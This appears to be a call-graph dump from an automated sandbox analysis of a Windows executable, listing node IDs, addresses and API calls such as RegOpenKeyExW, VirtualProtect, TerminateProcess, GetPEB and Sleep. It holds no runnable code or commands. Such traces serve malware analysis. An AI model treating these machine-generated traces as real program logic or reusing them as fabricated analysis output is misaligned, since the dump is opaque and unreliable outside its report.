104561 a09e4a 89 API calls 4 library calls 104489->104561 104542 9af6a3 331 API calls 104492->104542 104559 9a9c90 59 API calls Mailbox 104495->104559 104560 a09e4a 89 API calls 4 library calls 104497->104560 104499->104470 104558 9f617e 59 API calls Mailbox 104499->104558 104540 9a9d3c 60 API calls Mailbox 104500->104540 104502 9ab22d 104541 9a9d3c 60 API calls Mailbox 104502->104541 104503->104474 104564 a1cadd 104507->104564 104509 a1df33 104509->104474 104511 a1cadd 130 API calls 104510->104511 104512 a1df47 104511->104512 104512->104474 104513->104483 104514->104483 104516 9a9ebf 104515->104516 104536 9a9eed Mailbox 104515->104536 104517 9c0db6 Mailbox 59 API calls 104516->104517 104517->104536 104518 9ab47a 104523 9e09e5 104518->104523 104524 9e0055 104518->104524 104519 9ab475 104520 9a8047 59 API calls 104519->104520 104521 9aa057 104520->104521 104521->104474 104522 9c0db6 59 API calls Mailbox 104522->104536 104768 a09e4a 89 API calls 4 library calls 104523->104768 104765 a09e4a 89 API calls 4 library calls 104524->104765 104525 9a7667 59 API calls 104525->104536 104529 9e0064 104529->104474 104530 9c2d40 67 API calls __cinit 104530->104536 104533 9a8047 59 API calls 104533->104536 104534 9f6e8f 59 API calls 104534->104536 104535 9e09d6 104767 a09e4a 89 API calls 4 library calls 104535->104767 104536->104518 104536->104519 104536->104521 104536->104522 104536->104524 104536->104525 104536->104530 104536->104533 104536->104534 104536->104535 104538 9aa55a 104536->104538 104763 9ac8c0 331 API calls 2 library calls 104536->104763 104764 9ab900 60 API calls Mailbox 104536->104764 104766 a09e4a 89 API calls 4 library calls 104538->104766 104539->104474 104540->104502 104541->104492 104542->104463 104543->104474 104544->104474 104545->104474 104547 9a7df0 __wsetenvp _memmove 104546->104547 104548 9c0db6 Mailbox 59 API calls 104547->104548 104549 9a7e2e 104548->104549 104549->104474 104550->104474 104551->104474 104552->104473 104554 9a805a 104553->104554 104555 9a8052 104553->104555 104554->104470 104769 9a7f77 59 API calls 2 library calls 104555->104769 104557->104499 104558->104470 104559->104499 104560->104499 104561->104470 104562->104466 104563->104470 104602 9a9837 104564->104602 104568 a1cdb9 104569 a1cf2e 104568->104569 104573 a1cdc7 104568->104573 104670 a1d8c8 92 API calls Mailbox 104569->104670 104572 a1cf3d 104572->104573 104575 a1cf49 104572->104575 104633 a1c96e 104573->104633 104574 9a9837 84 API calls 104591 a1cbb2 Mailbox 104574->104591 104589 a1cb61 Mailbox 104575->104589 104580 a1ce00 104648 9c0c08 104580->104648 104583 a1ce33 104655 9a92ce 104583->104655 104584 a1ce1a 104654 a09e4a 89 API calls 4 library calls 104584->104654 104587 a1ce25 GetCurrentProcess TerminateProcess 104587->104583 104589->104509 104591->104568 104591->104574 104591->104589 104652 a1fbce 59 API calls 2 library calls 104591->104652 104653 a1cfdf 61 API calls 2 library calls 104591->104653 104594 a1cfa4 104594->104589 104598 a1cfb8 FreeLibrary 104594->104598 104595 a1ce6b 104667 a1d649 107 API calls _free 104595->104667 104598->104589 104601 a1ce7c 104601->104594 104668 9a8d40 59 API calls Mailbox 104601->104668 104669 9a9d3c 60 API calls Mailbox 104601->104669 104671 a1d649 107 API calls _free 104601->104671 104603 9a984b 104602->104603 104604 9a9851 104602->104604 104603->104589 104620 a1d7a5 104603->104620 104605 9df5d3 __i64tow 104604->104605 104606 9a9899 104604->104606 104608 9a9857 __itow 104604->104608 104611 9df4da 104604->104611 104682 9c3698 83 API calls 3 library calls 104606->104682 104672 9c0db6 104608->104672 104613 9c0db6 Mailbox 59 API calls 104611->104613 104615 9df552 Mailbox _wcscpy 104611->104615 104612 9a9871 104612->104603 104614 9a7de1 59 API calls 104612->104614 104616 9df51f 104613->104616 104614->104603 104683 9c3698 83 API calls 3 library calls 104615->104683 104617 9c0db6 Mailbox 59 API calls 104616->104617 104618 9df545 104617->104618 104618->104615 104619 9a7de1 59 API calls 104618->104619 104619->104615 104712 9a7e4f 104620->104712 104622 a1d7c0 CharLowerBuffW 104716 9ff167 104622->104716 104629 a1d858 Mailbox 104629->104591 104630 a1d810 104741 9a7d2c 104630->104741 104632 a1d81c Mailbox 104632->104629 104745 a1cfdf 61 API calls 2 library calls 104632->104745 104634 a1c989 104633->104634 104638 a1c9de 104633->104638 104635 9c0db6 Mailbox 59 API calls 104634->104635 104636 a1c9ab 104635->104636 104637 9c0db6 Mailbox 59 API calls 104636->104637 104636->104638 104637->104636 104639 a1da50 104638->104639 104640 a1dc79 Mailbox 104639->104640 104647 a1da73 _strcat _wcscpy __wsetenvp 104639->104647 104640->104580 104641 9a9be6 59 API calls 104641->104647 104642 9a9b3c 59 API calls 104642->104647 104643 9a9b98 59 API calls 104643->104647 104644 9a9837 84 API calls 104644->104647 104645 9c571c 58 API calls __crtGetStringTypeA_stat 104645->104647 104647->104640 104647->104641 104647->104642 104647->104643 104647->104644 104647->104645 104752 a05887 61 API calls 2 library calls 104647->104752 104649 9c0c1d 104648->104649 104650 9c0cb5 VirtualProtect 104649->104650 104651 9c0c83 104649->104651 104650->104651 104651->104583 104651->104584 104652->104591 104653->104591 104654->104587 104656 9a92d6 104655->104656 104657 9c0db6 Mailbox 59 API calls 104656->104657 104658 9a92e4 104657->104658 104659 9a92f0 104658->104659 104753 9a91fc 59 API calls Mailbox 104658->104753 104661 9a9050 104659->104661 104754 9a9160 104661->104754 104663 9a905f 104664 9c0db6 Mailbox 59 API calls 104663->104664 104665 9a90fb 104663->104665 104664->104665 104665->104601 104666 9a8d40 59 API calls Mailbox 104665->104666 104666->104595 104667->104601 104668->104601 104669->104601 104670->104572 104671->104601 104674 9c0dbe 104672->104674 104675 9c0dd8 104674->104675 104677 9c0ddc std::exception::exception 104674->104677 104684 9c571c 104674->104684 104701 9c33a1 DecodePointer 104674->104701 104675->104612 104702 9c859b RaiseException 104677->104702 104679 9c0e06 104703 9c84d1 58 API calls _free 104679->104703 104681 9c0e18 104681->104612 104682->104608 104683->104605 104685 9c5797 104684->104685 104690 9c5728 104684->104690 104710 9c33a1 DecodePointer 104685->104710 104687 9c5733 104687->104690 104704 9ca16b 58 API calls __NMSG_WRITE 104687->104704 104705 9ca1c8 58 API calls 6 library calls 104687->104705 104706 9c309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 104687->104706 104688 9c579d 104711 9c8b28 58 API calls __getptd_noexit 104688->104711 104690->104687 104692 9c575b RtlAllocateHeap 104690->104692 104695 9c5783 104690->104695 104699 9c5781 104690->104699 104707 9c33a1 DecodePointer 104690->104707 104692->104690 104693 9c578f 104692->104693 104693->104674 104708 9c8b28 58 API calls __getptd_noexit 104695->104708 104709 9c8b28 58 API calls __getptd_noexit 104699->104709 104701->104674 104702->104679 104703->104681 104704->104687 104705->104687 104707->104690 104708->104699 104709->104693 104710->104688 104711->104693 104713 9a7e62 104712->104713 104715 9a7e5f _memmove 104712->104715 104714 9c0db6 Mailbox 59 API calls 104713->104714 104714->104715 104715->104622 104717 9ff192 __wsetenvp 104716->104717 104718 9ff1d1 104717->104718 104720 9ff1c7 104717->104720 104722 9ff278 104717->104722 104718->104632 104723 9a7667 104718->104723 104720->104718 104746 9a78c4 61 API calls 104720->104746 104722->104718 104747 9a78c4 61 API calls 104722->104747 104724 9c0db6 Mailbox 59 API calls 104723->104724 104725 9a7688 104724->104725 104726 9c0db6 Mailbox 59 API calls 104725->104726 104727 9a7696 104726->104727 104728 9a784b 104727->104728 104729 9a785a 104728->104729 104730 9a78b7 104728->104730 104729->104730 104732 9a7865 104729->104732 104731 9a7d2c 59 API calls 104730->104731 104733 9a7888 _memmove 104731->104733 104734 9deb09 104732->104734 104735 9a7880 104732->104735 104733->104630 104749 9a8029 104734->104749 104748 9a7f27 59 API calls Mailbox 104735->104748 104738 9deb13 104739 9c0db6 Mailbox 59 API calls 104738->104739 104740 9deb33 104739->104740 104742 9a7d3a 104741->104742 104744 9a7d43 _memmove 104741->104744 104743 9a7e4f 59 API calls 104742->104743 104742->104744 104743->104744 104744->104632 104745->104629 104746->104720 104747->104722 104748->104733 104750 9c0db6 Mailbox 59 API calls 104749->104750 104751 9a8033 104750->104751 104751->104738 104752->104647 104753->104659 104755 9a9169 Mailbox 104754->104755 104756 9df19f 104755->104756 104761 9a9173 104755->104761 104758 9c0db6 Mailbox 59 API calls 104756->104758 104757 9a917a 104757->104663 104759 9df1ab 104758->104759 104761->104757 104762 9a9c90 59 API calls Mailbox 104761->104762 104762->104761 104763->104536 104764->104536 104765->104529 104766->104521 104767->104523 104768->104521 104769->104554 104770 9e416f 104774 9f5fe6 104770->104774 104772 9e417a 104773 9f5fe6 85 API calls 104772->104773 104773->104772 104775 9f6020 104774->104775 104781 9f5ff3 104774->104781 104775->104772 104776 9f6022 104795 9a9328 84 API calls Mailbox 104776->104795 104777 9f6027 104779 9a9837 84 API calls 104777->104779 104780 9f602e 104779->104780 104785 9a7b2e 104780->104785 104781->104775 104781->104776 104781->104777 104783 9f601a 104781->104783 104794 9a95a0 59 API calls _wcsstr 104783->104794 104786 9dec6b 104785->104786 104787 9a7b40 104785->104787 104802 9f7bdb 59 API calls _memmove 104786->104802 104796 9a7a51 104787->104796 104790 9a7b4c 104790->104775 104791 9dec75 104792 9a8047 59 API calls 104791->104792 104793 9dec7d Mailbox 104792->104793 104794->104775 104795->104777 104797 9a7a5f 104796->104797 104801 9a7a85 _memmove 104796->104801 104798 9c0db6 Mailbox 59 API calls 104797->104798 104797->104801 104799 9a7ad4 104798->104799 104800 9c0db6 Mailbox 59 API calls 104799->104800 104800->104801 104801->104790 104802->104791 104803 9a107d 104808 9a708b 104803->104808 104805 9a108c 104839 9c2d40 104805->104839 104809 9a709b __ftell_nolock 104808->104809 104810 9a7667 59 API calls 104809->104810 104811 9a7151 104810->104811 104842 9a4706 104811->104842 104813 9a715a 104849 9c050b 104813->104849 104820 9a7667 59 API calls 104821 9a718b 104820->104821 104868 9a7d8c 104821->104868 104823 9a7194 RegOpenKeyExW 104824 9de8b1 RegQueryValueExW 104823->104824 104828 9a71b6 Mailbox 104823->104828 104825 9de8ce 104824->104825 104826 9de943 RegCloseKey 104824->104826 104827 9c0db6 Mailbox 59 API calls 104825->104827 104826->104828 104838 9de955 _wcscat Mailbox __wsetenvp 104826->104838 104829 9de8e7 104827->104829 104828->104805 104872 9a522e 104829->104872 104832 9a79f2 59 API calls 104832->104838 104833 9de90f 104875 9a7bcc 104833->104875 104835 9de929 104835->104826 104836 9a7de1 59 API calls 104836->104838 104837 9a3f74 59 API calls 104837->104838 104838->104828 104838->104832 104838->104836 104838->104837 104906 9c2c44 104839->104906 104841 9a1096 104884 9d1940 104842->104884 104845 9a7de1 59 API calls 104846 9a4739 104845->104846 104886 9a4750 104846->104886 104848 9a4743 Mailbox 104848->104813 104850 9d1940 __ftell_nolock 104849->104850 104851 9c0518 GetFullPathNameW 104850->104851 104852 9c053a 104851->104852 104853 9a7bcc 59 API calls 104852->104853 104854 9a7165 104853->104854 104855 9a7cab 104854->104855 104856 9a7cbf 104855->104856 104857 9ded4a 104855->104857 104900 9a7c50 104856->104900 104858 9a8029 59 API calls 104857->104858 104861 9ded55 __wsetenvp _memmove 104858->104861 104860 9a7173 104862 9a3f74 104860->104862 104863 9a3f82 104862->104863 104867 9a3fa4 _memmove 104862->104867 104866 9c0db6 Mailbox 59 API calls 104863->104866 104864 9c0db6 Mailbox 59 API calls 104865 9a3fb8 104864->104865 104865->104820 104866->104867 104867->104864 104869 9a7da6 104868->104869 104871 9a7d99 104868->104871 104870 9c0db6 Mailbox 59 API calls 104869->104870 104870->104871 104871->104823 104873 9c0db6 Mailbox 59 API calls 104872->104873 104874 9a5240 RegQueryValueExW 104873->104874 104874->104833 104874->104835 104876 9a7bd8 __wsetenvp 104875->104876 104877 9a7c45 104875->104877 104879 9a7bee 104876->104879 104880 9a7c13 104876->104880 104878 9a7d2c 59 API calls 104877->104878 104883 9a7bf6 _memmove 104878->104883 104905 9a7f27 59 API calls Mailbox 104879->104905 104882 9a8029 59 API calls 104880->104882 104882->104883 104883->104835 104885 9a4713 GetModuleFileNameW 104884->104885 104885->104845 104887 9d1940 __ftell_nolock 104886->104887 104888 9a475d GetFullPathNameW 104887->104888 104889 9a4799 104888->104889 104890 9a477c 104888->104890 104892 9a7d8c 59 API calls 104889->104892 104891 9a7bcc 59 API calls 104890->104891 104893 9a4788 104891->104893 104892->104893 104896 9a7726 104893->104896 104897 9a7734 104896->104897 104898 9a7d2c 59 API calls 104897->104898 104899 9a4794 104898->104899 104899->104848 104901 9a7c5f __wsetenvp 104900->104901 104902 9a7c70 _memmove 104901->104902 104903 9a8029 59 API calls 104901->104903 104902->104860 104904 9ded07 _memmove 104903->104904 104905->104883 104907 9c2c50 __ioinit 104906->104907 104914 9c3217 104907->104914 104913 9c2c77 __ioinit 104913->104841 104931 9c9c0b 104914->104931 104916 9c2c59 104917 9c2c88 DecodePointer DecodePointer 104916->104917 104918 9c2cb5 104917->104918 104919 9c2c65 104917->104919 104918->104919 104977 9c87a4 59 API calls __cftoe_l 104918->104977 104928 9c2c82 104919->104928 104921 9c2d18 EncodePointer EncodePointer 104921->104919 104922 9c2cc7 104922->104921 104923 9c2cec 104922->104923 104978 9c8864 61 API calls 2 library calls 104922->104978 104923->104919 104926 9c2d06 EncodePointer 104923->104926 104979 9c8864 61 API calls 2 library calls 104923->104979 104926->104921 104927 9c2d00 104927->104919 104927->104926 104980 9c3220 104928->104980 104932 9c9c1c 104931->104932 104933 9c9c2f EnterCriticalSection 104931->104933 104938 9c9c93 104932->104938 104933->104916 104935 9c9c22 104935->104933 104962 9c30b5 58 API calls 3 library calls 104935->104962 104939 9c9c9f __ioinit 104938->104939 104940 9c9ca8 104939->104940 104941 9c9cc0 104939->104941 104963 9ca16b 58 API calls __NMSG_WRITE 104940->104963 104953 9c9ce1 __ioinit 104941->104953 104966 9c881d 58 API calls 2 library calls 104941->104966 104944 9c9cad 104964 9ca1c8 58 API calls 6 library calls 104944->104964 104945 9c9cd5 104947 9c9cdc 104945->104947 104948 9c9ceb 104945->104948 104967 9c8b28 58 API calls __getptd_noexit 104947->104967 104951 9c9c0b __lock 58 API calls 104948->104951 104949 9c9cb4 104965 9c309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 104949->104965 104954 9c9cf2 104951->104954 104953->104935 104956 9c9cff 104954->104956 104957 9c9d17 104954->104957 104968 9c9e2b InitializeCriticalSectionAndSpinCount 104956->104968 104969 9c2d55 104957->104969 104960 9c9d0b 104975 9c9d33 LeaveCriticalSection _doexit 104960->104975 104963->104944 104964->104949 104966->104945 104967->104953 104968->104960 104970 9c2d5e RtlFreeHeap 104969->104970 104974 9c2d87 __dosmaperr 104969->104974 104971 9c2d73 104970->104971 104970->104974 104976 9c8b28 58 API calls __getptd_noexit 104971->104976 104973 9c2d79 GetLastError 104973->104974 104974->104960 104975->104953 104976->104973 104977->104922 104978->104923 104979->104927 104983 9c9d75 LeaveCriticalSection 104980->104983 104982 9c2c87 104982->104913 104983->104982 104984 1316928 104998 1314578 104984->104998 104986 13169de 105001 1316818 104986->105001 105004 1317a08 GetPEB 104998->105004 105000 1314c03 105000->104986 105002 1316821 Sleep 105001->105002 105003 131682f 105002->105003 105005 1317a32 105004->105005 105005->105000 105006 9a3633 105007 9a366a 105006->105007 105008 9a3688 105007->105008 105009 9a36e7 105007->105009 105047 9a36e5 105007->105047 105010 9a374b PostQuitMessage 105008->105010 105011 9a3695 105008->105011 105013 9dd0cc 105009->105013 105014 9a36ed 105009->105014 105020 9a36d8 105010->105020 105018 9dd154 105011->105018 105019 9a36a0 105011->105019 105012 9a36ca DefWindowProcW 105012->105020 105061 9b1070 10 API calls Mailbox 105013->105061 105015 9a36f2 105014->105015 105016 9a3715 SetTimer RegisterWindowMessageW 105014->105016 105021 9dd06f 105015->105021 105022 9a36f9 KillTimer 105015->105022 105016->105020 105024 9a373e CreatePopupMenu 105016->105024 105077 a02527 71 API calls _memset 105018->105077 105025 9a36a8 105019->105025 105026 9a3755 105019->105026 105034 9dd0a8 MoveWindow 105021->105034 105035 9dd074 105021->105035 105058 9a443a Shell_NotifyIconW _memset 105022->105058 105023 9dd0f3 105062 9b1093 331 API calls Mailbox 105023->105062 105024->105020 105030 9dd139 105025->105030 105031 9a36b3 105025->105031 105051 9a44a0 105026->105051 105030->105012 105076 9f7c36 59 API calls Mailbox 105030->105076 105037 9a36be 105031->105037 105038 9dd124 105031->105038 105032 9dd166 105032->105012 105032->105020 105034->105020 105039 9dd078 105035->105039 105040 9dd097 SetFocus 105035->105040 105036 9a370c 105059 9a3114 DeleteObject DestroyWindow Mailbox 105036->105059 105037->105012 105063 9a443a Shell_NotifyIconW _memset 105037->105063 105075 a02d36 81 API calls _memset 105038->105075 105039->105037 105044 9dd081 105039->105044 105040->105020 105060 9b1070 10 API calls Mailbox 105044->105060 105046 9dd134 105046->105020 105047->105012 105049 9dd118 105064 9a434a 105049->105064 105052 9a4539 105051->105052 105053 9a44b7 _memset 105051->105053 105052->105020 105078 9a407c 105053->105078 105055 9a44de 105056 9a4522 KillTimer SetTimer 105055->105056 105057 9dd4ab Shell_NotifyIconW 105055->105057 105056->105052 105057->105056 105058->105036 105059->105020 105060->105020 105061->105023 105062->105037 105063->105049 105065 9a4375 _memset 105064->105065 105105 9a4182 105065->105105 105068 9a43fa 105070 9a4430 Shell_NotifyIconW 105068->105070 105071 9a4414 Shell_NotifyIconW 105068->105071 105072 9a4422 105070->105072 105071->105072 105073 9a407c 61 API calls 105072->105073 105074 9a4429 105073->105074 105074->105047 105075->105046 105076->105047 105077->105032 105079 9a4098 105078->105079 105099 9a416f Mailbox 105078->105099 105100 9a7a16 105079->105100 105082 9dd3c8 LoadStringW 105086 9dd3e2 105082->105086 105083 9a40b3 105084 9a7bcc 59 API calls 105083->105084 105085 9a40c8 105084->105085 105085->105086 105087 9a40d9 105085->105087 105088 9a7b2e 59 API calls 105086->105088 105089 9a40e3 105087->105089 105090 9a4174 105087->105090 105091 9dd3ec 105088->105091 105093 9a7b2e 59 API calls 105089->105093 105092 9a8047 59 API calls 105090->105092 105094 9a7cab 59 API calls 105091->105094 105096 9a40ed _memset _wcscpy 105091->105096 105092->105096 105093->105096 105095 9dd40e 105094->105095 105098 9a7cab 59 API calls 105095->105098 105097 9a4155 Shell_NotifyIconW 105096->105097 105097->105099 105098->105096 105099->105055 105101 9c0db6 Mailbox 59 API calls 105100->105101 105102 9a7a3b 105101->105102 105103 9a8029 59 API calls 105102->105103 105104 9a40a6 105103->105104 105104->105082 105104->105083 105106 9a4196 105105->105106 105107 9dd423 105105->105107 105106->105068 105109 a02f94 62 API calls _W_store_winword 105106->105109 105107->105106 105108 9dd42c DestroyIcon 105107->105108 105108->105106 105109->105068 105110 9dfe27 105123 9bf944 105110->105123 105112 9dfe3d 105113 9dfebe 105112->105113 105114 9dfe53 105112->105114 105132 9afce0 105113->105132 105212 9a9e5d 60 API calls 105114->105212 105116 9dfe92 105118 9e089c 105116->105118 105120 9dfe9a 105116->105120 105214 a09e4a 89 API calls 4 library calls 105118->105214 105213 a0834f 59 API calls Mailbox 105120->105213 105122 9dfeb2 Mailbox 105122->105122 105124 9bf962 105123->105124 105125 9bf950 105123->105125 105127 9bf968 105124->105127 105128 9bf991 105124->105128 105215 9a9d3c 60 API calls Mailbox 105125->105215 105130 9c0db6 Mailbox 59 API calls 105127->105130 105216 9a9d3c 60 API calls Mailbox 105128->105216 105131 9bf95a 105130->105131 105131->105112 105217 9a8180 105132->105217 105134 9afd3d 105135 9e472d 105134->105135 105195 9b06f6 105134->105195 105222 9af234 105134->105222 105316 a09e4a 89 API calls 4 library calls 105135->105316 105139 9e4755 105164 9e47d7 105139->105164 105317 9af6a3 331 API calls 105139->105317 105140 9afe3e 105144 9afe4c 105140->105144 105168 9e488d 105140->105168 105320 9f66ec 59 API calls 2 library calls 105140->105320 105141 9afdd3 105141->105139 105141->105140 105143 9b0517 105141->105143 105147 9c0db6 59 API calls Mailbox 105141->105147 105172 9e4742 105141->105172 105176 9a9ea0 331 API calls 105141->105176 105183 9e480c 105141->105183 105190 9b0545 _memmove 105141->105190 105142 9e4b53 105142->105172 105337 a09e4a 89 API calls 4 library calls 105142->105337 105150 9c0db6 Mailbox 59 API calls 105143->105150 105144->105142 105153 9e48f9 105144->105153 105226 9a837c 105144->105226 105147->105141 105150->105190 105151 9e4848 105321 9f60ef 59 API calls 2 library calls 105151->105321 105156 9e4917 105153->105156 105324 9a85c0 59 API calls Mailbox 105153->105324 105163 9e4928 105156->105163 105325 9a85c0 59 API calls Mailbox 105156->105325 105157 9afea4 105166 9e4ad6 105157->105166 105167 9aff32 105157->105167 105204 9b0179 Mailbox _memmove 105157->105204 105158 9e486b 105161 9a9ea0 331 API calls 105158->105161 105159 9e48b2 Mailbox 105159->105144 105323 9f66ec 59 API calls 2 library calls 105159->105323 105161->105168 105163->105204 105326 9f60ab 59 API calls Mailbox 105163->105326 105164->105172 105318 a09e4a 89 API calls 4 library calls 105164->105318 105335 a09ae7 60 API calls 105166->105335 105173 9c0db6 Mailbox 59 API calls 105167->105173 105168->105144 105168->105172 105322 a1a2d9 85 API calls Mailbox 105168->105322 105169 9c0db6 Mailbox 59 API calls 105210 9b0106 _memmove 105169->105210 105175 9aff39 105173->105175 105175->105195 105233 9b09d0 105175->105233 105176->105141 105177 9e4a4d 105178 9a9ea0 331 API calls 105177->105178 105180 9e4a87 105178->105180 105180->105172 105330 9a84c0 105180->105330 105182 9affb2 105189 9affe6 105182->105189 105182->105190 105182->105195 105319 a09e4a 89 API calls 4 library calls 105183->105319 105188 9e4ab2 105334 a09e4a 89 API calls 4 library calls 105188->105334 105193 9a8047 59 API calls 105189->105193 105196 9b0007 105189->105196 105190->105169 105193->105196 105315 a09e4a 89 API calls 4 library calls 105195->105315 105196->105195 105198 9e4b24 105196->105198 105202 9b004c 105196->105202 105197 9b0398 105197->105122 105336 9a9d3c 60 API calls Mailbox 105198->105336 105200 9c0db6 59 API calls Mailbox 105200->105204 105201 9b00d8 105310 9a9d3c 60 API calls Mailbox 105201->105310 105202->105142 105202->105195 105202->105201 105204->105177 105204->105188 105204->105195 105204->105197 105204->105200 105205 9e4a1c 105204->105205 105312 9a8740 68 API calls __cinit 105204->105312 105313 9a8660 68 API calls 105204->105313 105327 a05937 68 API calls 105204->105327 105328 9a89b3 69 API calls Mailbox 105204->105328 105329 9a9d3c 60 API calls Mailbox 105204->105329 105208 9c0db6 Mailbox 59 API calls 105205->105208 105206 9b00eb 105206->105195 105311 9a82df 59 API calls Mailbox 105206->105311 105208->105177 105210->105204 105211 9b0162 105210->105211 105314 9a9c90 59 API calls Mailbox 105210->105314 105211->105122 105212->105116 105213->105122 105214->105122 105215->105131 105216->105131 105218 9a818f 105217->105218 105221 9a81aa 105217->105221 105219 9a7e4f 59 API calls 105218->105219 105220 9a8197 CharUpperBuffW 105219->105220 105220->105221 105221->105134 105223 9af251 105222->105223 105224 9af272 105223->105224 105338 a09e4a 89 API calls 4 library calls 105223->105338 105224->105141 105227 9dedbd 105226->105227 105228 9a838d 105226->105228 105229 9c0db6 Mailbox 59 API calls 105228->105229 105230 9a8394 105229->105230 105231 9a83b5 105230->105231 105339 9a8634 59 API calls Mailbox 105230->105339 105231->105153 105231->105157 105234 9e4cc3 105233->105234 105248 9b09f5 105233->105248 105399 a09e4a 89 API calls 4 library calls 105234->105399 105236 9b0cfa 105236->105182 105238 9b0ee4 105238->105236 105240 9b0ef1 105238->105240 105397 9b1093 331 API calls Mailbox 105240->105397 105241 9b0a4b PeekMessageW 105309 9b0a05 Mailbox 105241->105309 105243 9b0ef8 LockWindowUpdate DestroyWindow GetMessageW 105243->105236 105246 9b0f2a 105243->105246 105245 9e4e81 Sleep 105245->105309 105250 9e5c58 TranslateMessage DispatchMessageW GetMessageW 105246->105250 105247 9b0ce4 105247->105236 105396 9b1070 10 API calls Mailbox 105247->105396 105248->105309 105400 9a9e5d 60 API calls 105248->105400 105401 9f6349 331 API calls 105248->105401 105250->105250 105251 9e5c88 105250->105251 105251->105236 105252 9b0e43 PeekMessageW 105252->105309 105253 9b0ea5 TranslateMessage DispatchMessageW 105253->105252 105254 9e4d50 TranslateAcceleratorW 105254->105252 105254->105309 105255 9b0d13 timeGetTime 105255->105309 105256 9e581f WaitForSingleObject 105258 9e583c GetExitCodeProcess CloseHandle 105256->105258 105256->105309 105293 9b0f95 105258->105293 105259 9b0e5f Sleep 105295 9b0e70 Mailbox 105259->105295 105260 9a8047 59 API calls 105260->105309 105261 9a7667 59 API calls 105261->105295 105263 9c0db6 59 API calls Mailbox 105263->105309 105264 9e5af8 Sleep 105264->105295 105266 9c049f timeGetTime 105266->105295 105267 9b0f4e timeGetTime 105398 9a9e5d 60 API calls 105267->105398 105270 9e5b8f GetExitCodeProcess 105272 9e5bbb CloseHandle 105270->105272 105273 9e5ba5 WaitForSingleObject 105270->105273 105271 9a9837 84 API calls 105271->105309 105272->105295 105273->105272 105273->105309 105275 9ab73c 304 API calls 105275->105309 105277 a25f25 110 API calls 105277->105295 105278 9ab7dd 109 API calls 105278->105295 105279 9a9e5d 60 API calls 105279->105309 105280 9e5874 105280->105293 105281 9e5c17 Sleep 105281->105309 105282 9e5078 Sleep 105282->105309 105284 9a7de1 59 API calls 105284->105295 105289 9a9ea0 304 API calls 105289->105309 105291 9afce0 304 API calls 105291->105309 105293->105182 105295->105261 105295->105266 105295->105270 105295->105277 105295->105278 105295->105280 105295->105281 105295->105282 105295->105284 105295->105293 105295->105309 105408 a02408 60 API calls 105295->105408 105409 9a9e5d 60 API calls 105295->105409 105410 9a89b3 69 API calls Mailbox 105295->105410 105411 9ab73c 331 API calls 105295->105411 105412 9f64da 60 API calls 105295->105412 105413 a05244 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 105295->105413 105414 a03c55 66 API calls Mailbox 105295->105414 105296 a09e4a 89 API calls 105296->105309 105298 9a84c0 69 API calls 105298->105309 105299 9a9c90 59 API calls Mailbox 105299->105309 105300 9f617e 59 API calls Mailbox 105300->105309 105302 9a7de1 59 API calls 105302->105309 105303 9e55d5 VariantClear 105303->105309 105304 9f6e8f 59 API calls 105304->105309 105305 9e566b VariantClear 105305->105309 105306 9e5419 VariantClear 105306->105309 105307 9a8cd4 59 API calls Mailbox 105307->105309 105308 9a89b3 69 API calls 105308->105309 105309->105241 105309->105245 105309->105247 105309->105252 105309->105253 105309->105254 105309->105255 105309->105256 105309->105259 105309->105260 105309->105263 105309->105264 105309->105267 105309->105271 105309->105275 105309->105279 105309->105289 105309->105291 105309->105293 105309->105295 105309->105296 105309->105298 105309->105299 105309->105300 105309->105302 105309->105303 105309->105304 105309->105305 105309->105306 105309->105307 105309->105308 105340 9ae6a0 105309->105340 105371 9af460 105309->105371 105390 9a31ce 105309->105390 105395 9ae420 331 API calls 105309->105395 105402 a26018 59 API calls 105309->105402 105403 a09a15 59 API calls Mailbox 105309->105403 105404 9fd4f2 59 API calls 105309->105404 105405 9f60ef 59 API calls 2 library calls 105309->105405 105406 9a8401 59 API calls 105309->105406 105407 9a82df 59 API calls Mailbox 105309->105407 105310->105206 105311->105210 105312->105204 105313->105204 105314->105210 105315->105135 105316->105172 105317->105164 105318->105172 105319->105172 105320->105151 105321->105158 105322->105159 105323->105159 105324->105156 105325->105163 105326->105204 105327->105204 105328->105204 105329->105204 105331 9a84cb 105330->105331 105333 9a84f2 105331->105333 106323 9a89b3 69 API calls Mailbox 105331->106323 105333->105188 105334->105172 105335->105189 105336->105142 105337->105172 105338->105224 105339->105231 105341 9ae6d5 105340->105341 105342 9e3aa9 105341->105342 105345 9ae799 105341->105345 105346 9ae73f 105341->105346 105343 9a9ea0 331 API calls 105342->105343 105344 9e3abe 105343->105344 105370 9ae970 Mailbox 105344->105370 105416 a09e4a 89 API calls 4 library calls 105344->105416 105347 9a7667 59 API calls 105345->105347 105351 9c2d40 __cinit 67 API calls 105345->105351 105353 9e3b26 105345->105353 105355 9ae95a 105345->105355 105345->105370 105346->105345 105349 9a7667 59 API calls 105346->105349 105347->105345 105350 9e3b04 105349->105350 105352 9c2d40 __cinit 67 API calls 105350->105352 105351->105345 105352->105345 105353->105309 105354 9a84c0 69 API calls 105354->105370 105355->105370 105417 a09e4a 89 API calls 4 library calls 105355->105417 105359 9a9ea0 331 API calls 105359->105370 105360 a09e4a 89 API calls 105360->105370 105363 9a8d40 59 API calls 105363->105370 105367 9af195 105421 a09e4a 89 API calls 4 library calls 105367->105421 105368 9e3e25 105368->105309 105369 9aea78 105369->105309 105370->105354 105370->105359 105370->105360 105370->105363 105370->105367 105370->105369 105415 9a7f77 59 API calls 2 library calls 105370->105415 105418 9f6e8f 59 API calls 105370->105418 105419 a1c5c3 331 API calls 105370->105419 105420 a1b53c 331 API calls Mailbox 105370->105420 105422 9a9c90 59 API calls Mailbox 105370->105422 105423 a193c6 331 API calls Mailbox 105370->105423 105372 9af4ba 105371->105372 105373 9af650 105371->105373 105375 9e441e 105372->105375 105376 9af4c6 105372->105376 105374 9a7de1 59 API calls 105373->105374 105382 9af58c Mailbox 105374->105382 105524 a1bc6b 331 API calls Mailbox 105375->105524 105522 9af290 331 API calls 2 library calls 105376->105522 105379 9e442c 105383 9af630 105379->105383 105525 a09e4a 89 API calls 4 library calls 105379->105525 105381 9af4fd 105381->105379 105381->105382 105381->105383 105424 a03c37 105382->105424 105427 a0cb7a 105382->105427 105507 9a4e4a 105382->105507 105513 a1445a 105382->105513 105383->105309 105385 9af5e3 105385->105383 105523 9a9c90 59 API calls Mailbox 105385->105523 105391 9a3212 105390->105391 105393 9a31e0 105390->105393 105391->105309 105392 9a3205 IsDialogMessageW 105392->105391 105392->105393 105393->105391 